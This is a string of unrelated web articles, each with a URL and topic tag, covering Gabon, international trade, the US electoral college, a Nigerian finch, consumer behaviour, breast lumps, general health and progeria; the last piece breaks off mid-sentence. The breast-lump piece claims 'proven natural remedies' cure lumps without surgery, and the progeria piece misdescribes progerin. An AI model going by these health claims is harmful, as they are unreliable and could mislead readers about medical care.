who ruled until his death in 1967. His successor, Omar Bongo Ondimba, ruled for over four decades, making him one of Africa’s longest-serving leaders. Under Bongo’s leadership, Gabon developed its oil industry, which became the cornerstone of its economy. Geography and Biodiversity: Gabon’s Natural Wealth Location and Size Gabon is bordered by Equatorial Guinea to the northwest, Cameroon to the north, the Republic of the Congo to the east and south, and the Atlantic Ocean to the west. Gabon covers an area of approximately 267,668 square kilometres (103,347 square miles), roughly the size of the United Kingdom. Despite its modest size, Gabon is home to diverse landscapes, including dense rainforests, savannas, and pristine coastlines. National Parks and Wildlife Gabon is a nature lover’s paradise, with nearly 85% of its land covered in forest. The country is committed to conservation, with 13 national parks protecting its unique biodiversity. Loango National Park, often referred to as “Africa’s Last Eden,” is famous for its surfing hippos and elephants that roam the beaches. Other notable parks include Ivindo National Park, home to the stunning Kongou Falls, and Lopé National Park, which is recognized for its ancient rock carvings and diverse wildlife. Gabon’s rainforests are teeming with wildlife, including forest elephants, gorillas, chimpanzees, and a myriad of bird species. The country’s dedication to preserving its natural heritage has earned it recognition as a global conservation leader. Economy: Oil, Timber, and Sustainability Gabon’s economy is heavily reliant on oil, which accounts for approximately 80% of its exports and 45% of its GDP. The discovery of oil in the 1970s transformed Gabon from a sleepy backwater into one of Africa’s wealthier nations. The country’s oil wealth has enabled it to develop infrastructure and improve the standard of living for its citizens. However, the reliance on oil has also made Gabon vulnerable to fluctuations in global oil prices. In recent years, the government has recognized the need to diversify the economy to ensure long-term sustainability. Forestry and Ecotourism In addition to oil, Gabon’s economy also benefits from its vast forests, which are rich in timber. The country is a major exporter of hardwoods such as okoumé and mahogany. However, Gabon has taken steps to ensure that logging is done sustainably, with a focus on preserving its forests for future generations. Ecotourism is another area where Gabon has great potential. With its unique wildlife and stunning landscapes, Gabon is an attractive destination for eco-conscious travelers. The government is working to promote ecotourism as a way to boost the economy while preserving the environment. Culture and Society A Melting Pot of Ethnicities Gabon is home to over 40 ethnic groups, each with its own language and traditions. The largest ethnic group is the Fang, followed by the Punu, Nzebi, and Myene. Despite this diversity, Gabonese society is relatively harmonious, with different groups coexisting peacefully. Language and Religion French is Gabon’s official language, a legacy of its colonial past. However, many Gabonese also speak Indigenous languages such as Fang and Myene. Christianity is the dominant religion, and the majority of Gabonese identify as Roman Catholics. Traditional beliefs and practices also play an important role in Gabonese culture. Music and Dance Gabonese music is an integral part of the country’s cultural identity. Traditional music often features rhythmic drumming and chanting, with dance playing a central role in ceremonies and celebrations. Modern Gabonese music is a fusion of traditional rhythms with contemporary genres such as hip-hop and reggae. Challenges and Opportunities Gabon has been relatively stable since independence, with peaceful transitions of power. However, the country faces challenges such as political corruption and the need for greater transparency in governance. The government has implemented reforms aimed at improving governance and reducing corruption, but more work is needed to ensure the success of these efforts. As mentioned earlier, Gabon’s economy is heavily dependent on oil. The government recognizes the need to diversify the economy to reduce its reliance on oil and ensure long-term sustainability. Efforts are underway to develop other sectors such as agriculture, mining, and tourism. Gabon is a leader in environmental conservation and is committed to preserving its natural heritage. However, balancing economic development with environmental conservation remains a challenge. The government is working to promote sustainable development practices that protect the environment while supporting economic growth. Gabon is a country of contrasts, where modernity meets tradition, and development coexists with environmental conservation. Its rich history, diverse culture, and stunning natural beauty make it a unique and fascinating nation. While Gabon faces challenges, it also has immense potential for growth and development. As the country continues to navigate the complexities of the modern world, it remains committed to preserving its unique identity and natural heritage. Frequently Asked Questions (FAQs) 1. What is the official language of Gabon? French is the official language of Gabon, a legacy of its colonial past. However, many Gabonese also speak indigenous languages such as Fang and Myene. 2. When did Gabon gain independence? Gabon gained independence from France on August 17, 1960. 3. What are Gabon’s main natural resources? Gabon’s main natural resources include oil, timber, and minerals such as manganese and uranium. 4. What is the significance of Gabon’s national parks? Gabon’s national parks are crucial for the conservation of its unique biodiversity, including endangered species such as forest elephants and gorillas. The parks also play a key role in promoting ecotourism. 5. How has oil shaped Gabon’s economy? The discovery of oil in the 1970s transformed Gabon into one of Africa’s wealthier nations. Oil is now the cornerstone of Gabon’s economy, accounting for a significant portion of its exports and GDP. 6. What are the main ethnic groups in Gabon? Gabon is home to over 40 ethnic groups, with the largest being the Fang, followed by the Punu, Nzebi, and Myene. 7. How is Gabon addressing environmental conservation? Gabon is a leader in environmental conservation, with a focus on protecting its forests and wildlife. The government has established 13 national parks and is promoting sustainable development practices.

https://africafactszone.com/gabon-facts-history-culture-travel-africa-facts-zone/

Education

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What is International trade: International trade is simply the business transactions between two or more countries with the aim of making profit and developing their countries reputation and foster the growth of the economy as a whole. Most countries enjoy the benefits of international trade, which make their country to be self reliance because they have the opportunities to engage in the trading of the resources the have in their country. International trade organization has made is easy for nation to partake in business internationally as long as the meet the standard and requirements that is needed, which is the product to be export or import must meet the standard and must be save for consumption. The benefits of international trade can not be over emphasize because many countries depend on international trade to sponsor their annual national budget because of their foriegn reserve all comes from international trade for example countries that produce oil and gas mostly depend on the international trade market to grow their economy. The benefits of international trade help nation and encourage the unity and growth of every sector of the economy, both import and export are part of the international trade policies. Some the benefits of international trade are as follows; What are the Benefits of international trade? - Availability of various goods and services - Production efficiency - Create employment for your people - The cost of consumption becomes cheaper - Control trade prices - Encourage good relationship among countries - Revenue generation - Export and import access - Market expansion - Increase the national income of a countries.

https://www.infozoner.com.ng/2022/06/10-benefits-of-international-trade.html

Business

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How do you win the election? Technically, on election day Americans are not voting for the presidential candidates themselves, but 'electors', who pledge to vote for a particular candidate. In most cases the electors' names are not on the ballot. In nearly every state, whoever wins the most votes also wins all of that state's electors - who take part in a process known as the 'electoral college'. Each state has a different number of electors based on the number of representatives and senators it has in Congress, which itself is decided by the size of its population. A large, populous state like California has 55 electors, whereas a large, sparsely populated state such as Montana has only three. To win the election, a candidate must win an absolute majority of electors. There are 538 available in total, so 270 are needed to win. The number of electors - or electoral college votes - won so far are the large numbers for each candidate shown in the bars at the top of the BBC's results pages. The process by which electors are chosen varies state by state. The electors meet in their state capitals on the Monday after the second Wednesday in December and - almost always - cast their ballots according to their state's popular vote result. The results are certified and sent to Washington. The new president is inaugurated in January. Why are certain states 'key battlegrounds'? The presidential race is usually decided in a few states which switch allegiance from election to election. These are sometimes called battleground or swing states. The swings are often down to changing demographics, or personal factors such as a candidate coming from that state or region. Capturing the electoral votes of just one or two of these states can be enough to tip a candidate over the 270 needed to win. What is the source for the BBC's election results? The BBC reports 'projections' made by the ABC news network. These are projections of which candidate has won that state's electors and subsequent electoral college votes. The projections are based on exit polls and/or partial results. For races that are not very close, ABC, along with other US networks, are likely to project a winner as soon as the polls close, based on exit poll data. For closer races, the news networks will wait until there is more actual vote data. It can take hours or even all night. When a projection is made by ABC, our results desk in Washington will update the BBC's electoral college vote tally for each candidate. Result will be described as "projected" until enough votes have been counted to know for certain. All other election data, including popular votes and Congressional results, is provided by the Associated Press (AP). The BBC receives this information from an electronic feed and uses it to compile running totals of popular votes state by state and nationwide. AP is the sole organisation responsible for providing results for the major American media networks. The information they provide will form the basis for election results, but different broadcasters may decide to interpret partial results in different ways. If a projection is not immediate, it does not mean it is too close to call, rather it may simply be too early to call because the networks have insufficient data. Are the projections ever wrong? Yes, particularly if the election is very close. Most memorably the major US networks, including Fox, CNN, NBC, CBS, and ABC, said Al Gore would win Florida in 2000, only to retract that and then say George W Bush won it, and then to retract that as the result was under dispute. The presidency eventually went to Mr Bush. What happens if the election ends in a tie? If both candidates end up with 269 electoral votes each, Congress decides who becomes president. The 435 member House of Representatives votes on who becomes president, while the 100-seat Senate decides the vice-president. The Republicans currently hold a majority in both the Senate and House. The same process is followed if, as also theoretically possible, neither candidate gets a 270-vote majority. What is an exit poll? Exit polls are surveys of voters, gathered after they have voted. They are used in two main ways. They can help predict the outcome of an election before all the votes are counted, and they may also provide information on demographics. For example, they could show which candidate appealed most to women, or who got the most support from the Hispanic community. Is Washington DC a state? Washington DC, or the District of Columbia, is not a state, but it does receive three electoral college votes. DC is able to vote for the president but it does not have any congressional members of its own. What happens in Maine & Nebraska? Unlike other states, Maine and Nebraska can split their electoral votes among the candidates. Both states give two votes to the winner of the state-wide popular vote. The remaining votes are awarded to the candidate who has won most votes in each congressional district within the state. Nebraska has three congressional districts and five electoral college votes, while Maine has two congressional districts and four electoral college votes. In practice this has only happened once. In 2008 Barack Obama was awarded one electoral vote in Nebraska after defeating John McCain in the 2nd congressional district.

http://www.bbc.com/news/election-us-2016-37249697

Politics

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The Anambra Waxbill is a type of finch and it has the scientific name Estrilda poliopareia and is found majorly in Nigeria (with a few other sightings in Benin Republic). It is specifically found in the wetter lands of southern Nigeria, and its estimated global extent of occurrence is 38,000 sq km. It was discovered by Reichenow in 1902. It is about 12 cm long, lives in small flocks of up to 20 birds or more, feeds principally on grass seeds, and is usually found in long grass along rivers, marshes, lagoon sandbanks, swamps and forests. It is listed as a “Near Threatened” species i.e. one which has been categorized by the International Union for Conservation of Nature (IUCN) as being vulnerable to endangerment in the near future, but does not currently qualify for the threatened status. No specific conservation action is currently being conducted for this species. Leave a comment

https://naijaphilia.com/2022/05/09/naija-fauna-2-anambra-waxbill/

Education

en

Consumer behaviour is the study of individuals,groups, or organizations and the processes they use to select, secure, use, and dispose of products, services, experiences, or ideas to satisfy needs and the impacts that these processes have on the consumer and society. Customer behaviour study is based on consumer buying behaviour, with the customer playing the three distinct roles of user, payer and buyer. The study of consumers helps firms and organizations improve their marketing strategies by understanding issues such as how: - The psychology of how consumers think, feel, reason, and select between different alternatives (e.g ., brands, products, and retailers); - The psychology of how the consumer is influenced by his or her environment (e.g ., culture, family, signs, media); - The behaviour of consumers while shopping or making other marketing decisions; - Limitations in consumer knowledge or information processing abilities influence decisions and marketing outcome; - How consumer motivation and decision strategies differ between products that differ in their level of importance or interest that they entail for the consumer; and. - How marketers can adapt and improve their marketing campaigns and marketing strategies to more effectively reach the consumer. Consumer behaviour holds a great important in marketing field because it is said that in the modern philosophy of marketing that CUSTOMER is treated as the KING, his needs and wants are being studied for making any product, and above that it is always been seen while looking for opportunities for a product development that whose product is brought most and what are the factors that result in purchase of a product. We can easy understand its importance if we look around our environment. consumer behaviour is made up of two words consumer and behaviour. Consumer is the person who consume the product, he may or may not be a buyer and behaviour means the aggregate of all the responses made by an organism in any situation. So consumer behaviour means the aggregate of response made by the consumer. It make us know the reasons behind the purchase of a product, and about the various feelings of the customer that are being attached with the purchase of the product. Hence we can say that it is very importance to study the behaviour of your consumers whom you are going to serve through your product. FACTORS INFLUENCING CONSUMER BEHAVIOUR 1) Cultural factors: Culture is defined as the patterns of behaviour and social relations that characterize a society and separate it from others. Culture conveys values, ideals, and attitudes that help individuals communicate with each other and evaluate situations. Cultural factors comprise set of values and ideologies of a particular community or group of individuals. It is the culture of an individual which decides the way he/she behaves. In simpler words, culture is nothing but values of an individual. What an individual learns from his parents and relatives as a child becomes his culture. Cultural factors have a significant effect on an individual’s buying decision. Every individual has different sets of habits, beliefs and principles which he/she develops from his family status and background. What they see from their childhood becomes their culture. 2) Social factors: A consumer’s behaviour also is influenced by social factors, such as the (a) Groups (b) Family (c) Roles and status. - Groups: Two or more people who interact to accomplish individual or mutual goals. A person’s behaviour is influenced by many small groups. Groups that have a direct influence and to which a person belongs are called membership groups. Some of the primary groups are family, friends, neighbours and co-workers. Some of the secondary groups, which are more formal and have less regular interaction. These includes organizations like religious groups, professional association and trade unions. - Family: Family members can strongly influence buyer behaviour. The family is the most important consumer buying organization society and it has been researched extensively. Marketers are interested in the roles,and influence of the husband, wife and children on the purchase of different products and services. - Roles and Status: A person belongs to many groups, family, clubs, organizations. The person’s position in each group can be defined in terms of both role and status.For example. “M”&”X” plays the role of father, in his family he plays the role of husband, in his company, he plays the role of manager, etc. A Role consists of the activities people are expected to perform according to the persons around them. 3) Personal factors: Consumer behaviour deals with why and why not an individual purchases particular products and services. Personal factors play an important role in affecting consumers’ buying behaviour. (a) Occupation: The occupation of an individual plays a significant role in influencing his/her buying decision. An individual’s nature of job has a direct influence on the products and brands he picks for himself/herself. For example, Mr Olumide was working with an organization as a Chief Executive Officer while his friend now a retired professor went to a nearby school as a part time lecturer. Mr Olumide always looked for premium brands which would go with his designation whereas his friend preferred brands which were not very expensive. Mr Olumide was really conscious about the clothes he wore, the perfume he used, the watch he wore whereas his friend never really bothered about all these. That is the importance of one’s designation. As a CEO of an organization, it was really essential for Mr Olumide to wear something really elegant and unique for others to look up to him. A CEO for that matter and a senior professional can never afford to wear cheap labels and local brands to work. An individual’s designation and his nature of work influence his buying decisions. You would never find a low level worker purchasing business suits, ties for himself. An individual working on the shop floor cannot afford to wear premium brands everyday to work. (b) Age and Life cycle Stage: People change the goods and services they buy over their lifetimes. Tastes in food, clothes, furniture, and recreation are often age related. Buying is also shaped by the stage of the family life cycle.A bachelor would prefer spending lavishly on items like beer, bikes, music, clothes, parties, clubs and so on. A young single would hardly be interested in buying a house, property, insurance policies, gold, etc. An individual who has a family, on the other hand would be more interested in buying something which would benefit his family and make their future secure. (c) Economic situation: The buying tendency of an individual is directly proportional to his income/earnings per month.How much an individual brings home decides how much he spends and on which products individuals with high income would buy expensive and premium products as compared to individuals from middle and lower income group who would spend mostly on necessary items. You would hardly find an individual from a low income group spending money on designer clothes and watches. He would be more interested in buying grocery items or products necessary for his survival. (d) Personality: An individual’s personality also affects his buying behaviour. Every individual has his/her own characteristic personality traits which reflect in his/her buying behaviour.A fitness freak would always look for fitness equipment whereas a music lover would happily spend on musical instruments, CDs, concerts, musical shows, etc. 4) Psychological factor: It includes these factors: (a) Motivation (b) Perception (c) Learning (d) Beliefs and Attitudes. - Motivation: Motive (drive) a need that is sufficiently pressing to direct the person to seek satisfaction of the need. - Perception: The process by which people select, Organize, and interpret information to form a meaningful picture of the world. - Learning: Changes in an individuals behaviour arising from experience. - Beliefs and attitudes: Belief is a descriptive thought that a person holds about something. Attitude, a Person’s consistently favourable or unfavourable evaluations, feelings, and tendencies towards an object or idea. STAGES OF THE CONSUMER BUYING PROCESS There are six stages to the Consumer Buying Decision Process. Actual purchasing is only one stage of the process. Not all decision processes lead to a purchase. All consumer decisions do not always include all the stages, determined by the degree of complexity. These stages are: - Problem Recognition: This can also be called awareness of need. Need is the most important factor which leads to buying of products and services. Need infact is the catalyst which triggers the buying decision of individuals. Individual who buys a cold drink or a bottle of mineral identifies his/her need as thirst. The marketer must recognize the needs of the consumer as well as how these needs can be satisfied. - Information search: In consumer buying decision process, information search comes second. In this stage, consumer searches the information about the product either from family, friends, neighbourhood, advertisements, whole seller, retailers, dealers, or by examining or using the product. A successful information search leaves a buyer with possible alternatives - Evaluation of Alternatives: This is where consumers start cutting down the possible options by comparing it with their criteria and what they want from the product/service. They evaluate the various alternatives available in the market. An individual after gathering relevant information tries to choose the best option available as per his need, taste and pocket. - Purchase decision: The purchase of a product or service is the fourth step in the consumer buying process. At this point, the consumer has considered all of the factors relating to the product, and has shopped around for the best deal or option. Customers have typically made up their minds about what they want to spend and where to spend it. - Post purchase behaviour: The last phase of the buying process is an evaluation process, during which consumers determine if their purchasing decision was the right one. This may or may not be a conscious thought process. For many advertisers, the goal is to elicit positive results with a product or service, with the hope that customers will review or talk positively to others about the product or service they have used. ORGANIZATIONAL BUYING BEHAVIOUR Organization buying is the decision making process by which formal organizations establish the need for purchased products and services and identify, evaluate, and choose among alternative brands and suppliers. Some of the characteristics of organizational buyers are: - Consumer market is a huge market in millions of consumers where organizational buyers are limited in number for most of the products. - The purchases are in large quantities. - Close relationships and service are required. - Demand is derived from the production and sales of buyers. - Demand fluctuations are high as purchases from business buyers magnify fluctuation in demand for their products. - The organizational buyers are trained professionals in purchasing. - Several persons in organization influence purchase. - Lot of buying occurs in direct dealing with manufacturer. FACTORS THAT INFLUENCE ORGANIZATIONAL BUYING BEHAVIOUR Organizational buying is much more complex than consumer buying, and thus deserves to be studied separately. The entwined interpersonal relationships and the multiple communication processes between the organizational members, involved in the buying decision process, are some of the major contributors to this complexity. The list of affecting factors is not limited to these; there are many more important ones such as: 1) External Environmental Factors: As a major constraint under which a business operates, the external environment impacts nearly every aspect of a business, including its buying decisions. Here is a list of the external elements that affect organizational buying. - Economic Conditions: The fluctuations in the money markets and the interest rates have a major impact on the buying strategies. The interest rates and organizational buying have an inverse relation; in most cases, an increase in the interest rates may bring about a drop in the buying. - Regulatory Changes: Any changes in the corporate laws, rules and regulations will also influence how,when and what the organizations buy. There are also regulatory changes that may affect only a particular industry and accordingly the related organizations will change their buying patterns to stay in-line with the new regulations. - Political Environment: A change of the government or policy has a direct impact on the economic scenario, and this ultimately translates into a shift in the organizational buying patterns as well. - Social Environment: Societies and cultures are ever evolving, and every business has to change its practices and procedures to meet up with the societal changes. For instance with the rise in the number of animal lovers, pure leather suppliers have seen a slump in their business. The clothing and footwear manufacturers have shifted to artificial leather suppliers. This points out how the social environment can affect the buying patterns of organizations. - Competition: Today’s business is all about beating competition and staying ahead. So when an organization’s competitors move on to a newer product or service, or if they get to enjoy a competitive edge because of their suppliers, it is very likely for the organization to change its trends too and thus its buying pattern will change accordingly. 2) Internal Organizational Factors: More than the external factors, it is the internal organizational factors that influence organizational buying. These internal factors are the: - Organization’s Goals and Objectives: The goals and objectives of an organization are major determinants of how and what the organization will purchase. An organization that wants to capture a bigger chunk of the market by selling cheaper stuff is more likely to look for suppliers who can supply larger quantities at a low price. However, a company whose goal is to deliver quality products may have a very contrasting buying pattern, and they will focus more on the quality issues than on the price advantage. - Organizational Structure: Hierarchical and management structures vary from one organization to another. While some organizations have a well established purchase department, others may assign this job to the HR. or Administration department. There are also organizations where the purchase decisions must be taken collectively by all concerned departments. The organizations also have well-defined guidelines as to which purchase decisions can be made and by which management level. The internal setup and how authority and responsibility flow through it, play an important role in the organizational purchasing. - Policies and Procedures: How the purchase order is routed, depends on the organization’s policies. How does the buying procedure begin, who will participate and who has the ultimate authority to decide on the purchase are all dependent on the policies and procedures of the organization. Some organizations prefer to invite public bids, while others may contact only the few suppliers on their list. There are also budgetary policies that have a say in the purchase decisions, for instance while some organizations may have a flexible policy to make purchases as and when the need arises, others may have to wait till the allocation of the annual or biannual budget. - Technological Levels: Whenever new purchases are made organizations take into consideration their current technology. Some purchases are meant to replace the current technology with a newer version, so their buying decision will be influenced by what level of technology they currently own. Also, organizations try to ensure that all new purchases being made are technologically compatible with their existing technology. So, one way or the other an organization’s existing technology has a major influence on its future purchases. - Manpower Skills: Whether the organization has the skilled manpower to make proper and optimum use of the new purchases being made, especially equipment and machinery, is another issue that influences organizational buying. 3) Interpersonal and Individual Factors: Since organizational buying decisions are never a one person affair, interpersonal relationships among the decision makers play a vital role in this type of buying. - Participation and Authority: In organizational buying situations, there are always re-defined rules as to who can participate in the purchase decision and who is the ultimate deciding authority. - Interpersonal Conflict: Interpersonal conflicts and conflicts of interest amongst the decision makers often results in delays and changes. Thus, the kind of thinking and the kind of relationship the decision makers share have a major role to play in corporate buying. - Education and Awareness: The educational background of the decision makers and their level of awareness have a major bearing on what type of purchases they will make. - Risk Taking Ability: If the buying committee constitutes high risk takers, they will not be averse to the idea of choosing the latest technology or new suppliers. While on the other hand, decision makers with a low risk taking tolerance are more likely to stick to proven and tested technology or to well known and well established suppliers. - Individual Factors: Individual factors such as age, cultural background and social status, of the members on the buying team, also influence the buying decisions.

https://www.austintommy.com.ng/2021/06/15/consumer-and-organizational-behaviour/

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A breast lump is a swelling or mass that developed in the breast and feels different from the breast tissues around it. They vary in forms and some may be painful. Breast lumps can be caused by infections, injuries, non-cancerous growths and cancer. It is recommended to check the breasts regularly as early diagnoses of breast lumps help the treatment. When you notice any lumpy feeling in your breast, it may be time to visit your doctor. Depending on the type of lump, you can cure breast lump without surgery. Some even go on their own. Types of Breast Lumps Breast lumps can be divided into two main groups depending on whether they are cancerous or not. 1. Benign – This is a type of lump formed by body cells but they are non-cancerous. Examples of benign breast lumps are Fibroadenomas and Fibrocystsic Lumps. Fibroadenomas are solid lumps of fibrous tissue and they mostly occur in women between 18 and 30. A fibroadenoma feels like a firm, smooth or rubbery lump in the breast with a well-defined shape. It’s painless and moves easily when touched. Fibrocystic breast lumps are a non-cancerous condition affecting about 50 to 60 percent of women. Fibrocystic lumps are caused due to the overreaction of fibrous breast tissue, mammary glands and ducts to hormone levels during ovulation. 2. Malignant Tumors – This type of breast lumps causes breast cancer. They spread to adjacent healthy breast tissues and destroy them. If not checked and treated early, they will continue to spread through the lymph system and bloodstream to other parts of the body and death may result. Breast cancer usually causes no pain in the breast. The symptoms of breast cancer include painless breast lumps, nipple discharge, and inflammation of the skin of the breast. Diagnosis and Evaluation of Breast Lumps Most breast lumps are not cancerous. There are various medical devices to ascertain that a lump is not cancerous. Mammography – Mammography is the process of using low-energy X-rays to examine the human breast for diagnosis and screening. The goal of mammography is the early detection of breast cancer, typically through the detection of characteristic masses. Breast Ultrasound – This employs sound waves to produce images of the internal structures of the breast. Breast ultrasound is safe and does not involve the use of radiation. Biopsy – Provided not enough information was derived from mammography and breast ultrasound, then tissue biopsy may be required to confirm if a breast lump is cancerous. During tissue biopsy, a radiologist will administer local anesthesia, and then advance a thin sampling needle into the lump to remove some tissue for evaluation under a microscope. The biopsy procedure is usually quick, but it may take a few days before the final tissue analysis (pathology report) is ready. Causes of Breast Lumps Breast lumps may be caused by a range of conditions including: - Breast infections – Infection of the breast is known as mastitis. Mastitis may occur in breastfeeding women. When the skin of the nipple is injured, bacteria and other pathogens can enter the damaged area and cause infections. - Breast cysts – A cyst in the breast may feel like a lump, but upon examination, the lump is a small, generally harmless sac filled with fluid rather than a cancerous or benign lump of cells. The cause of breast cysts is not known. - Fibroadenoma – This is a benign type of breast lump. - Injury – Lumps may form in the breast following injury to the breast by trauma. Trauma to the breast can damage fat cells resulting in a condition known as fat necrosis which forms a lump in the breast. - Breast Cancer – A breast lump is an early sign of breast cancer. Although most breast lumps are not cancerous, it is best to visit a doctor as soon as a lump is noticed for proper evaluation. Treatment of Breast Lumps A breast lump can be treated without surgery provided the lump is not cancerous. There are proven natural remedies to cure breast lumps without surgery. Some involve lifestyle changes, diet changes and compressions. The following natural remedies will help to cure breast lumps without surgery: - Dietary Changes To cure breast lumps without surgery, there may be a need to make changes to the diet. There is a need for a drastic reduction in meat intake. Avoid estrogen-like compounds such as soy and other dairy products. Tea and coffee in some cases are a reason for a lumpy breast. If you do not want to have lumpy breasts, then you should avoid them. Also, soft drinks are a reason for lumpy breasts. Alcohol such as beer and wine also can be a reason for lumpy breasts. Some medical experts also suggest reducing salt in the diet. If you want to reduce the swelling caused by the lumpy breasts, then you should use a hot compress as your natural remedy. In hot water, you should dip a face towel. Then, you should put this towel on your breasts for a few minutes. When you start feeling that the heat of the towel is reduced and the towel is cold, then you should put the towel again in the hot water and then apply it again on your breasts. Also when you are using this home remedy, you can use a heating pad. You may also compress the breast using ice to relieve pain. If you have breast lumps as a result of infections, your doctor will prescribe antibiotics drugs to treat the infections. When it comes to breast cysts, no treatment is needed and they usually go on their own. As stated earlier, these remedies are only effective if a breast lump is not cancerous. For malignant tumors, treatment usually involves surgery and chemotherapy or radiation therapy, depending on the stage of cancer. Detecting breast cancer early can improve the prognoses and chances of cure of cancer, hence it is recommended for women to examine their breasts regularly and visit a doctor if a lump is detected. Read More: What is Breast Augmentation Surgery?

http://sutured.com/cure-breast-lump-without-surgery/

Health

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The Importance of Good Health in Our Lives - How Can We Why is it so important to live a healthy lifestyle, and how can we improve our health and well-being? Healthy and comfortable indoor are more productive, save more, and live longer, which contributes significantly to prosperity, wealth, and even economic progress. A healthy life cycle necessitates a healthy and balanced diet, good hygiene habits, proper shelter, and adequate sleep. You will also be required to engage in physical activities, weight management, and stress management. does it mean to be healthy? Health is defined as a state of complete physical, mental, social, and spiritual well-being that entails keeping the body as healthy as possible by following daily advice and taking preventive measures to minimize the risk of disease. Many people suffer from diseases, but their health allows them to fight them, and as a result, they achieve physical fitness and feel comfortable or enjoy life like any other normal person. Importance of a Healthy Lifestyle in Human Life Health is defined as the body's functional and metabolic efficiency, as well as its ability to adapt to physical, mental, and social Health is the polar opposite of disease, and it also refers to the body's protection from physical, social, and mental illnesses. Health is the factor that enables a person to carry out his daily tasks correctly and correctly. Physical health refers to the absence of disease in all parts of a person's body as well as the safety of all of his or her membranes. While mental and social health is defined as a person's ability to complete social tasks without failing or making mistakes. The value of good health in a person's life cannot be overstated. We will discuss some key points in this article that fully define the significance of health in our lives. Then, in the next section of the article, we'll talk about how to achieve good health and happiness. Let's get this party started! A healthy person is capable of serving himself, his country, and his community. A sick person appears weak and meager, unable to perform the duties and responsibilities that are expected of him. When the disease progresses, the person becomes reliant on others and unable to meet his various needs in life, which has an impact on his psyche due to his feelings of helplessness as well as weakness. The presence of the disease among its members has an impact on society as well, as the productivity of these patients declines and they become more reliant on society. When it comes to the presence of healthy people in society, this entails the presence of productive people who have the power and ability to give and serve. The value of health to a person is that it saves him money on medical bills and the hassle of having to visit hospitals. A healthy person who is far from the disease sees him saving money that he would have spent on the disease if he had neglected his health, so the phrase "an ounce of prevention is worth a pound of cure" is Many governments that are vulnerable to epidemics and diseases spreading among their citizens spend a significant portion of their budget on medications to treat these cases. Governments and societies that are concerned about their citizens' safety are also focusing on aspects of prevention and health advice. People who are psychologically healthy are comfortable and happy in their lives, and they enjoy life to the fullest. A person suffering from mental illness is always perceived as gloomy and pessimistic, and he does not feel happy in his life or in his A healthy person, on the other hand, appears to be happy in his life, establishing relationships with others, and displaying love, kindness, and intimacy. Finally, a person must take into account a variety of factors and behaviors in order to avoid diseases that disrupt his life and to recognize that illness may be one of the many trials to which he is subjected. Can You Do to Improve Your Health and Well-Being? The methods listed below can assist you in achieving good health and well-being: What you eat has a direct impact on your health. A healthy diet can improve your overall health by boosting your immune system, assisting you in maintaining a healthy weight, and assisting you in maintaining a healthy the amount of fruits and vegetables in your diet: Include fruits, vegetables, grains, leafy greens, salmon, and other healthy foods in your diet. Including fruits and vegetables in your diet is an excellent way to begin a healthy routine. of water should be consumed: Water keeps muscles and joints moving, increases the amount of water in your blood, promotes healthy skin and cardiovascular health, and aids in the removal of toxins from your body. Drinking water continuously throughout the day can help you save money and improve your health. a consistent exercise routine: Exercise can help prevent heart disease, stroke, colon cancer, and diabetes. Do a moderate workout for at least 30 minutes every day. of the excess weight: If you're overweight, you should lose weight. If you want to lose weight, you'll need to cut down on your calorie intake, so keep track of everything you eat. If you're overweight, losing weight can help you avoid heart disease, cancer, and diabetes. you eat, wash your hands: Handwashing before eating is a good habit to develop and an effective way to avoid infection. If you eat something without washing your hands first, bacteria and germs on your fingers and palms may make their way into your This can have a negative impact on your overall health and lead to diseases and infections. care of your skin: Your skin is the body's first line of defense, and it must be protected. Because UV rays damage or even kill your skin cells, a lot of sunlight in the summer is very harmful to your skin cells. Fluctuations, redness, allergies, and irritation are all common skin problems in the winter for many of us. Dry air is created by cold temperatures and low humidity levels, which draws moisture away from the skin. As a result, protect your skin throughout the year. Make sure you get enough sleep: Sleep is essential for overall health and well-being because it allows the body to repair itself and be fit and ready for the next day. Getting enough sleep at the right times can help you avoid drug and alcohol abuse: Smoking, tobacco, alcohol, caffeine, and sugary drinks should all be avoided. Tobacco, alcohol, and smoking are all harmful to your health, so avoid them as soon as possible. Quitting smoking lowers your risk of lung cancer and other life-threatening diseases like heart disease, stroke, emphysema, chronic bronchitis, and others. your lifestyle choices by doing the following: You can see what you need to do to live a healthy and happy Poor lifestyle choices play a significant role in the development and progression of chronic diseases that are preventable. Improve your lifestyle, make healthy lifestyle choices, and develop good and healthy habits in order to make positive life changes. Make time to exercise and come up with a way to reduce stress and depression. Post a Comment

https://www.healthlifekit.com/2022/02/why-is-good-health-and-well-being.html

Health

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As a result of the short story and movie "The Curious Case of Benjamin Button," progeria is also referred to as Hutchinson-Gilford progeria syndrome (HGPS) or the "Benjamin Button" sickness. The child's body ages quickly due to an uncommon genetic abnormality. Progeria is caused by a mutation in the LMNA gene. Progeria children typically die before they turn 13 years old. All sexes and races are equally impacted by the illness. In the world, it affects about 1 in every 4 million newborns. There are some genes that produce aberrant proteins because of just a single error. Progerin is a protein that is used by cells to facilitate their easier breakdown. Progeroid children age rapidly as a result of this. The condition normally has no symptoms at birth, but throughout the first year of life, a newborn begins to exhibit symptoms. Physical characteristics they acquire include: - slowly increasing weight and height - an enlarged head - They struggle to fully close their large eyes. - small lower jaw - a short nose that ends in a "beaked" tip - a protruding ear - Observable veins - tooth growth that is erratic and slow - voice with a high pitch - muscle and body fat loss - loss of hair, including on the lashes and brows - skin that is spotty and wrinkled PROGERIA DISEASE CAUSES As progeria children age, they get illnesses like bone loss, artery hardening, and heart disease that are often seen in persons 50 and older. Typically, heart attacks or strokes claim the lives of progeria The development of a child's brain or intelligence is unaffected by progeria. A child with the disease has the same risk of contracting illnesses as other children. of Progeria and Risk Factors Progeria is brought on by a lamin A (LMNA) gene mutation. The gene produces a protein that maintains the integrity of the cell's nucleus. Progerin, an aberrant form of lamin A produced by the body in progeria, has a No risk factors for progeria have been identified by researchers. It is not handed on or inherited within families. There is evidence of the symptoms. During a normal examination, a pediatrician is likely to notice them. Schedule a visit with your pediatrician or family physician if you see any changes in your child that could be progeria symptoms. Your doctor will conduct a physical examination, check your child's blood pressure and pulse, test their hearing and eyesight, and compare their height and weight to children their child's age. You might need to contact a medical genetics expert who can do a blood test to confirm the diagnosis if your child's pediatrician is worried. Progeria could only be identified by X-rays and observation prior to the development of genetic blood tests. treatments life expectancy There is currently no treatment for progeria, but scientists are working to find one. In one clinical research, a class of cancer medication called FTIs (farnesyltransferase inhibitors) is being examined to determine if it can help halt the disease. Some of the disease's symptoms can be mitigated or delayed with the use of treatments. and dietary modifications To decrease cholesterol or avoid blood clots, your child's doctor can recommend medications and dietary modifications. Aspirin taken daily at a low dose can help fend off heart attacks and strokes. Gaining weight and height is aided by growth hormones. Lonafarnib (Zokinvy) 